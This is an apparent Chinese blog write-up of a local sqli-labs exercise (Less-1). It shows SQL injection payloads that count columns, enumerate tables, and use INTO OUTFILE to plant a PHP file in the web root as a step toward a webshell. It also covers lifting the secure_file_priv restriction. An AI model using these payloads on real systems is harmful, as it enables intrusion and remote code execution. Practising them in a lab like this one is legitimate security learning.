sqlilabs注入到webshell的无聊尝试

sqlilabs注入到webshell的无聊尝试


使用phpstudy搭建好环境,PHP环境为5.6.9,数据库版本为5.7
Less-1
很常见的注入,单引号报错,再加一个单引号不报错,猜测数据库语句为:

select * from xxx where id='$id' limit 1

所以我们构建payload:

?id=1' order by 3 --+
?id=1' order by 4 --+

表明有三个字段,多余的就不赘述了

?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=database() --+

尝试能不能向外部写文件

?id=-1' union select 1,2,"outfile test" into outfile "d://test.txt" --+

返回了这个信息:

The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

由于这个选项是只读的,所以没办法修改,所以人为修改一下配置文件my.ini
在mysqld这个配置项下新增

secure_file_priv=''

重新启动数据库,执行:

?id=-1' union select 1,2,"outfile test" into outfile "d://test.txt" --+

没有回显,查看d盘,确实有生成test.txt,接下来看看能不能生成php文件,我们首先需要获取到php目录路径,但是我还真就没找到好的方法来获取路径,可能需要通过某些报错来搞

?id=-1' union select 2,2,"<?php phpinfo(); ?>" into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\shell.php" --+

没有回显,但是php根目录下生成了shell.php,此时访问shell.php,要搞一句话原理类似

访问即可

局限性很大,需要知道网站路径,开启写文件权限,看看之后能不能利用日志来提权

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值